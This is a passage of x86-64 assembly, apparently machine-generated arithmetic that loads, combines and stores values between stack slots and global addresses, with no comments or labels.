mov rax, qword [rsp + 0x93e8]
mov qword [rsp + 0x9a08], rax
mov rax, qword [rsp + 0x9920]
mov rcx, qword [rsp + 0x8ed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8e70]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x79]
mov rcx, qword [rsp + 0x9248]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x97], al
movzx eax, byte [0x1401e7022]
mov rcx, qword [rsp + 0x9998]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8890]
mov byte [rcx], al
lea rax, [rsp + 0x1058]
mov qword [rsp + 0x9a10], rax
mov rax, qword [rsp + 0x9740]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1140]
sub eax, ecx
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
mov rax, qword [rsp + 0x91a0]
movzx eax, byte [rax]
mov byte [rsp + 0xd3], al
mov rax, qword [rsp + 0x90b8]
mov rcx, qword [rsp + 0x8fc8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9200]
mov rcx, qword [rsp + 0x9440]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x99e8], rax
lea rax, [rsp + 0x4f64]
mov qword [rsp + 0x9a18], rax
mov rax, qword [rsp + 0x9378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x93d8]
mov dword [rcx], eax
lea rax, [rsp + 0x89]
mov qword [rsp + 0x9a20], rax
movzx eax, word [0x1401e8908]
mov word [0x1401e8940], ax
mov rax, qword [rsp + 0x91b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10b4]
sar eax, cl
mov word [rsp + 0x1158], ax
mov rax, qword [rsp + 0x9010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9780]
mov byte [rcx], al
lea rax, [rsp + 0x103c]
mov qword [rsp + 0x9a28], rax
mov rax, qword [rsp + 0x9a00]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8fd0]
shl rax, cl
mov qword [rsp + 0x9980], rax
mov rax, qword [rsp + 0x8ec0]
mov eax, dword [rax]
mov dword [rsp + 0x4f74], eax
mov rax, qword [rsp + 0x9250]
mov rcx, qword [rsp + 0x9228]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x97e8], rax
lea rax, [rsp + 0x4edc]
mov qword [rsp + 0x9a30], rax
movsx eax, byte [rsp + 0x73]
movsx ecx, byte [rsp + 0x78]
and eax, ecx
mov byte [rsp + 0x70], al
movzx eax, byte [rsp + 0xa9]
movzx ecx, byte [rsp + 0xc1]
sub eax, ecx
mov rcx, qword [0x1401e8890]
mov byte [rcx], al
movzx eax, word [rsp + 0x10d8]
mov rcx, qword [rsp + 0x94e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x97c0]
movzx eax, byte [rax]
mov byte [rsp + 0xd4], al
mov rax, qword [rsp + 0x97f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1158], ax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov qword [rsp + 0x9a38], rax
mov rax, qword [rsp + 0x9a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4eb4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9738]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d38]
mov ecx, dword [rsp + 0x4f64]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e34], eax
mov rax, qword [rsp + 0x96d0]
mov rax, qword [rax]
mov qword [rsp + 0x9a40], rax
mov rax, qword [rsp + 0x9a28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1100]
sub eax, ecx
mov word [rsp + 0x100c], ax
lea rax, [0x1401e88c0]
mov qword [0x1401e8948], rax
lea rax, [rsp + 0x1130]
mov qword [rsp + 0x9a48], rax
mov rax, qword [rsp + 0x9998]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9830]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x74], al
movsx eax, byte [rsp + 0xaf]
mov rcx, qword [rsp + 0x9500]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x94b0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1120]
mov word [rsp + 0x115c], ax
mov rax, qword [rsp + 0x9128]
mov rcx, qword [rsp + 0x9258]
mov qword [rsp + 0x9a50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9a50]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9198], rax
mov rax, qword [rsp + 0x9970]
mov eax, dword [rax]
mov dword [rsp + 0x4f78], eax
mov rax, qword [rsp + 0x9180]
movzx ecx, al
mov rax, qword [rsp + 0x96f0]
shl rax, cl
mov rcx, qword [rsp + 0x90f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ed8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4edc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x97c8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1064]
mov rcx, qword [rsp + 0x9950]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401e88f0], ax
mov rax, qword [rsp + 0x8b68]
movzx eax, byte [rax]
mov byte [rsp + 0xd5], al
movzx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9288]
mov byte [rcx], al
lea rax, [0x1401e7064]
mov qword [rsp + 0x9a58], rax
mov rax, qword [rsp + 0x96b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8c], al
mov rax, qword [rsp + 0x9840]
mov eax, dword [rax]
mov dword [rsp + 0x4f7c], eax
mov rax, qword [rsp + 0x9598]
mov eax, dword [rax]
mov ecx, dword [0x1401e7008]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9538]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e78]
mov rcx, qword [rsp + 0x9078]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x98a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9168]
mov rax, qword [rax]
mov qword [rsp + 0x9a60], rax
lea rax, [0x1401e7060]
mov qword [0x1401e8950], rax
mov rax, qword [rsp + 0x97a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9690]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x79], al
lea rax, [rsp + 0x1078]
mov qword [rsp + 0x9a68], rax
movzx eax, byte [rsp + 0x83]
mov rcx, qword [0x1401e87c0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9a20]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa5]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0x9648]
mov qword [rsp + 0x9a70], rax
mov rax, qword [rsp + 0x8f08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ed4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4edc], eax
mov eax, dword [rsp + 0x4f3c]
mov dword [rsp + 0x4f80], eax
mov rax, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x8e50]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9948], rax
movzx eax, byte [rsp + 0x71]
movzx ecx, byte [rsp + 0x89]
sub eax, ecx
mov byte [0x1401e8795], al
mov rax, qword [rsp + 0x8f38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1004]
shl eax, cl
mov word [rsp + 0x106c], ax
mov rax, qword [rsp + 0x92d8]
movzx eax, word [rax]
mov word [rsp + 0x1160], ax
movsx eax, word [rsp + 0x100c]
mov rcx, qword [rsp + 0x9030]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x10f4], ax
movzx eax, byte [rsp + 0xd3]
mov byte [rsp + 0xd6], al
mov rax, qword [rsp + 0x95c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4e7c]
shr eax, cl
mov dword [rsp + 0x4f74], eax
mov rax, qword [rsp + 0x9a38]
mov qword [rsp + 0x9a78], rax
mov rax, qword [rsp + 0x94f8]
mov ecx, dword [rsp + 0x4f0c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4ed4], eax
mov rax, qword [rsp + 0x8f30]
mov rcx, qword [rsp + 0x92e8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8ed0]
mov qword [rcx], rax
movsx eax, word [0x1401e87f0]
mov rcx, qword [rsp + 0x8ee0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8858]
mov word [rcx], ax
lea rax, [rsp + 0x10b0]
mov qword [rsp + 0x9a80], rax
movzx eax, byte [rsp + 0x74]
movzx ecx, byte [rsp + 0x87]
sub eax, ecx
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x9420]
movzx eax, byte [rax]
mov byte [rsp + 0xd7], al
movzx eax, word [rsp + 0x1000]
movzx ecx, word [rsp + 0x1060]
sub eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x94b8]
mov rcx, qword [rsp + 0x9960]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9078]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4eb4]
mov dword [rsp + 0x4f84], eax
mov rax, qword [rsp + 0x93a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e9c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9778]
mov dword [rcx], eax
lea rax, [rsp + 0x9798]
mov qword [rsp + 0x9a88], rax
mov rax, qword [rsp + 0x91c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9370]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e703a], al
mov rax, qword [rsp + 0x8b68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcc]
sub eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x9480]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8850]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x96a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c10]
movzx eax, word [rax]
mov word [rsp + 0x1164], ax
mov rax, qword [rsp + 0x8ff8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb9]
add eax, ecx
mov rcx, qword [rsp + 0x8c08]
mov byte [rcx], al
mov eax, dword [0x1401e7008]
mov dword [rsp + 0x4f88], eax
mov rax, qword [rsp + 0x8ab0]
movzx ecx, al
mov rax, qword [rsp + 0x9180]
shl rax, cl
mov qword [rsp + 0x95a8], rax
mov rax, qword [rsp + 0x8ff0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9800]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90b0]
mov qword [rcx], rax
lea rax, [0x1401e7004]
mov qword [rsp + 0x9a90], rax
movzx eax, word [rsp + 0x1010]
mov rcx, qword [rsp + 0x94e0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401e87a0], ax
mov rax, qword [rsp + 0x9930]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb1]
sar eax, cl
mov byte [rsp + 0x8a], al
lea rax, [rsp + 0x1158]
mov qword [rsp + 0x9a98], rax
movsx eax, byte [rsp + 0xa3]
movsx ecx, byte [rsp + 0x70]
and eax, ecx
mov rcx, qword [rsp + 0x9690]
mov byte [rcx], al
lea rax, [rsp + 0x104c]
mov qword [rsp + 0x9aa0], rax
mov rax, qword [rsp + 0x9658]
mov rcx, qword [0x1401e7010]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x95d0], rax
mov rax, qword [rsp + 0x9378]
mov ecx, dword [rsp + 0x4d84]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e88], eax
mov eax, dword [rsp + 0x4ef8]
mov dword [rsp + 0x4f8c], eax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0x8d40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9748]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1080]
add eax, ecx
mov word [0x1401e70a0], ax
movzx eax, word [rsp + 0x1094]
mov word [rsp + 0x1168], ax
mov rax, qword [rsp + 0x9388]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1020]
sub eax, ecx
mov rcx, qword [rsp + 0x8e80]
mov word [rcx], ax
mov rax, qword [rsp + 0x9070]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
sub eax, ecx
mov byte [rsp + 0x9e], al
lea rax, [rsp + 0xb9]
mov qword [rsp + 0x9aa8], rax
mov rax, qword [rsp + 0x9510]
mov rcx, qword [rsp + 0x90e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8d50], rax
lea rax, [rsp + 0x4f6c]
mov qword [rsp + 0x9ab0], rax
mov rax, qword [rsp + 0x8fd8]
mov rcx, qword [rsp + 0x9a60]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ef8], rax
mov rax, qword [rsp + 0x9738]
mov ecx, dword [rsp + 0x4eac]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4e48], eax
lea rax, [rsp + 0x10e8]
mov qword [rsp + 0x9ab8], rax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x87]
shl eax, cl
mov rcx, qword [0x1401e8830]
mov byte [rcx], al
mov rax, qword [rsp + 0x9568]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd3]
or eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
mov rax, qword [rsp + 0x9208]
movzx eax, word [rax]
mov word [rsp + 0x116c], ax
mov rax, qword [rsp + 0x97c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
sar eax, cl
mov byte [rsp + 0x91], al
mov rax, qword [rsp + 0x9748]
mov rax, qword [rax]
mov qword [rsp + 0x9ac0], rax
mov eax, dword [rsp + 0x4ea8]
mov ecx, dword [rsp + 0x4e70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f5c], eax
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x8c20]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x91f0]
mov qword [rcx], rax
lea rax, [rsp + 0x4e1c]
mov qword [rsp + 0x9ac8], rax
movsx eax, word [rsp + 0x1078]
movsx ecx, word [rsp + 0x1030]
add eax, ecx
mov rcx, qword [rsp + 0x9278]
mov word [rcx], ax
lea rax, [rsp + 0x1054]
mov qword [0x1401e8958], rax
lea rax, [rsp + 0x86]
mov qword [rsp + 0x9ad0], rax
mov rax, qword [rsp + 0x9558]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9460]
mov byte [rcx], al
mov rax, qword [rsp + 0x9770]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9f]
add eax, ecx
mov byte [rsp + 0x84], al
lea rax, [0x1401e7010]
mov qword [rsp + 0x9ad8], rax
mov rax, qword [rsp + 0x9408]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e34], eax
mov rax, qword [rsp + 0x9580]
mov eax, dword [rax]
mov dword [rsp + 0x4f90], eax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0x8d40]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x95f8], rax
movzx eax, word [rsp + 0x112c]
movzx ecx, word [rsp + 0x108c]
add eax, ecx
mov word [rsp + 0x1020], ax
lea rax, [rsp + 0x72]
mov qword [0x1401e8960], rax
lea rax, [0x1401e703a]
mov qword [rsp + 0x9ae0], rax
mov rax, qword [rsp + 0x8eb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1070]
sub eax, ecx
mov word [rsp + 0x115c], ax
lea rax, [rsp + 0x10f0]
mov qword [rsp + 0x9ae8], rax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f88]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x97e0], rax
mov eax, dword [rsp + 0x4efc]
imul eax, dword [rsp + 0x4e78]
mov dword [rsp + 0x4edc], eax
lea rax, [rsp + 0x96d8]
mov qword [rsp + 0x9af0], rax
mov eax, dword [rsp + 0x4d88]
mov ecx, dword [rsp + 0x4f14]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x91f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ff8]
movzx eax, byte [rax]
mov byte [rsp + 0xd8], al
movsx eax, word [rsp + 0x1008]
movsx ecx, word [rsp + 0x114c]
xor eax, ecx
mov rcx, qword [0x1401e87a8]
mov word [rcx], ax
mov rax, qword [0x1401e8948]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9208]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x10c8], ax
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
mov byte [rsp + 0xd9], al
movzx eax, word [rsp + 0x1024]
movzx ecx, word [rsp + 0x1064]
sar eax, cl
mov rcx, qword [rsp + 0x8e80]
mov word [rcx], ax
mov rax, qword [0x1401e8930]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f48]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa7], al
lea rax, [rsp + 0x4f20]
mov qword [rsp + 0x9af8], rax
mov rax, qword [rsp + 0x8d18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9180]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
lea rax, [rsp + 0x4d44]
mov qword [rsp + 0x9b00], rax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x9418]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8f88], rax
movzx eax, byte [rsp + 0x84]
movzx ecx, byte [rsp + 0x9e]
sub eax, ecx
mov byte [0x1401e8793], al
mov rax, qword [0x1401e8828]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9688]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10a4], ax
movzx eax, word [rsp + 0x1078]
mov word [rsp + 0x1170], ax
mov rax, qword [rsp + 0x99e0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e87a5]
sub eax, ecx
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0x8fe0]
movzx eax, word [rax]
mov word [rsp + 0x1174], ax
mov rax, qword [rsp + 0x8d78]
mov rcx, qword [rsp + 0x9af8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9498]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e28]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9140]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov qword [rsp + 0x9b08], rax
mov rax, qword [rsp + 0x8fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9698]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x97e0], rax
lea rax, [rsp + 0xa8]
mov qword [0x1401e8968], rax
mov rax, qword [rsp + 0x8ef0]
movzx eax, byte [rax]
mov byte [rsp + 0xda], al
mov rax, qword [rsp + 0x99c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd5]
sub eax, ecx
mov byte [rsp + 0xcc], al
mov rax, qword [rsp + 0x8e48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1158]
sub eax, ecx
mov rcx, qword [rsp + 0x9a10]
mov word [rcx], ax
mov rax, qword [rsp + 0x9750]
movzx eax, word [rax]
mov word [rsp + 0x1178], ax
mov eax, dword [rsp + 0x4e94]
movzx ecx, al
mov eax, dword [rsp + 0x4ddc]
shr eax, cl
mov dword [rsp + 0x4ee4], eax
mov rax, qword [rsp + 0x9850]
mov qword [rsp + 0x9b10], rax
mov eax, dword [rsp + 0x4ec4]
mov rcx, qword [rsp + 0x9a30]
mov qword [rsp + 0x9b18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9b18]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4cbc], eax
mov rax, qword [rsp + 0x8df8]
mov rax, qword [rax]
mov qword [rsp + 0x9b20], rax
movzx eax, word [rsp + 0x1010]
movzx ecx, word [rsp + 0x1084]
xor eax, ecx
mov rcx, qword [0x1401e87d8]
mov word [rcx], ax
movsx eax, word [0x1401e8888]
movsx ecx, word [rsp + 0x1070]
or eax, ecx
mov word [rsp + 0x1050], ax
movsx eax, word [rsp + 0x1094]
movsx ecx, word [rsp + 0x1078]
and eax, ecx
mov rcx, qword [rsp + 0x97b0]
mov word [rcx], ax
lea rax, [rsp + 0xb3]
mov qword [rsp + 0x9b28], rax
mov rax, qword [rsp + 0x9500]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcc]
add eax, ecx
mov rcx, qword [rsp + 0x97f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ac8]
mov eax, dword [rax]
mov dword [rsp + 0x4f94], eax
mov rax, qword [rsp + 0x90b0]
mov rcx, qword [rsp + 0x9088]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9678]
mov rcx, qword [rsp + 0x8ec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e34], eax
mov rax, qword [rsp + 0x9a08]
mov qword [rsp + 0x9b30], rax
mov rax, qword [rsp + 0x92c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc2]
add eax, ecx
mov byte [0x1401e703b], al
mov rax, qword [rsp + 0x9870]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1010]
sub eax, ecx
mov word [rsp + 0x1064], ax
lea rax, [rsp + 0x1014]
mov qword [rsp + 0x9b38], rax
mov rax, qword [rsp + 0x9908]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e87a2]
add eax, ecx
mov rcx, qword [rsp + 0x94d8]
mov byte [rcx], al
movzx eax, word [rsp + 0x112c]
movzx ecx, word [rsp + 0x10b4]
sub eax, ecx
mov word [rsp + 0x106c], ax
lea rax, [rsp + 0x4f3c]
mov qword [rsp + 0x9b40], rax
mov eax, dword [0x1401e7008]
mov ecx, dword [rsp + 0x4cbc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9738]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9540]
mov rax, qword [rax]
mov qword [rsp + 0x9b48], rax
mov rax, qword [rsp + 0x9068]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fd8]
mov qword [rsp + 0x9b50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9b50]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8f88], rax
mov rax, qword [rsp + 0x8db0]
movsx eax, word [rax]
movsx ecx, word [0x1401e7060]
xor eax, ecx
mov rcx, qword [0x1401e8858]
mov word [rcx], ax
mov rax, qword [rsp + 0x94d8]
movzx eax, byte [rax]
mov byte [rsp + 0xdb], al
mov rax, qword [rsp + 0x9900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8d48]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9420]
mov byte [rcx], al
movsx eax, word [rsp + 0x1144]
mov rcx, qword [rsp + 0x9aa0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x109c], ax
mov rax, qword [rsp + 0x8ef0]
movzx eax, byte [rax]
mov byte [rsp + 0xdc], al
mov eax, dword [rsp + 0x4ec4]
mov ecx, dword [rsp + 0x4f84]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x94f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90e0]
mov rax, qword [rax]
mov qword [rsp + 0x9b58], rax
mov rax, qword [rsp + 0x9198]
mov rcx, qword [rsp + 0x8e90]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9308]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9620]
mov ecx, dword [rsp + 0x4e24]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e80], eax
mov rax, qword [rsp + 0x8bf8]
movzx eax, byte [rax]
mov byte [0x1401e87a7], al
lea rax, [rsp + 0x109c]
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0x94e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x113c]
add eax, ecx
mov rcx, qword [rsp + 0x9a58]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb1]
mov byte [rsp + 0xdd], al
movsx eax, byte [0x1401e700e]
movsx ecx, byte [rsp + 0xa0]
add eax, ecx
mov byte [rsp + 0x79], al
mov rax, qword [rsp + 0x9a00]
mov rcx, qword [rsp + 0x9730]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9850], rax
lea rax, [rsp + 0x4cc4]
mov qword [rsp + 0x9b68], rax
mov rax, qword [rsp + 0x8ee8]
mov rcx, qword [rsp + 0x93a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9540]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9178]
mov eax, dword [rax]
mov dword [rsp + 0x4f98], eax
movzx eax, word [rsp + 0x10d8]
mov rcx, qword [rsp + 0x9a98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7098], ax
mov rax, qword [rsp + 0x9560]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9b]
sub eax, ecx
mov byte [rsp + 0xbe], al
movsx eax, word [rsp + 0x1168]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10ec], ax
lea rax, [0x1401e7044]
mov qword [rsp + 0x9b70], rax
movsx eax, byte [rsp + 0xd8]
mov rcx, qword [rsp + 0x9310]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov eax, dword [rsp + 0x4edc]
mov dword [rsp + 0x4f9c], eax
mov rax, qword [rsp + 0x94e8]
movzx ecx, al
mov rax, qword [rsp + 0x9318]
shl rax, cl
mov qword [rsp + 0x9058], rax
mov rax, qword [rsp + 0x8e98]
mov qword [rsp + 0x9b78], rax
mov rax, qword [rsp + 0x9b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e84]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4db4], eax
movsx eax, word [rsp + 0x10b8]
movsx ecx, word [0x1401e7088]
sar eax, cl
mov rcx, qword [rsp + 0x8dd8]
mov word [rcx], ax
lea rax, [rsp + 0x1058]
mov qword [0x1401e8970], rax
lea rax, [rsp + 0x9d]
mov qword [rsp + 0x9b80], rax
mov rax, qword [rsp + 0x9560]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ae0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xda], al
mov rax, qword [rsp + 0x9618]
movzx eax, word [rax]
mov word [rsp + 0x117c], ax
mov rax, qword [rsp + 0x8fe8]
mov rcx, qword [rsp + 0x9098]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8af8], rax
mov rax, qword [rsp + 0x97a8]
mov ecx, dword [0x1401e7004]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9140]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9138]
mov eax, dword [rax]
mov dword [rsp + 0x4fa0], eax
mov rax, qword [rsp + 0x91d8]
mov rcx, qword [rsp + 0x9438]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98f8]
mov qword [rcx], rax
lea rax, [rsp + 0x99]
mov qword [rsp + 0x9b88], rax
lea rax, [0x1401e889c]
mov qword [0x1401e8978], rax
movzx eax, word [rsp + 0x10d4]
mov rcx, qword [rsp + 0x8ea8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1114], ax
movsx eax, byte [rsp + 0xd8]
mov rcx, qword [rsp + 0x8f10]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8bf8]
mov byte [rcx], al
lea rax, [rsp + 0x9e]
mov qword [rsp + 0x9b90], rax
mov rax, qword [rsp + 0x9820]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9048]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a78], rax
mov rax, qword [rsp + 0x8fd0]
mov qword [rsp + 0x9b98], rax
mov eax, dword [rsp + 0x4ccc]
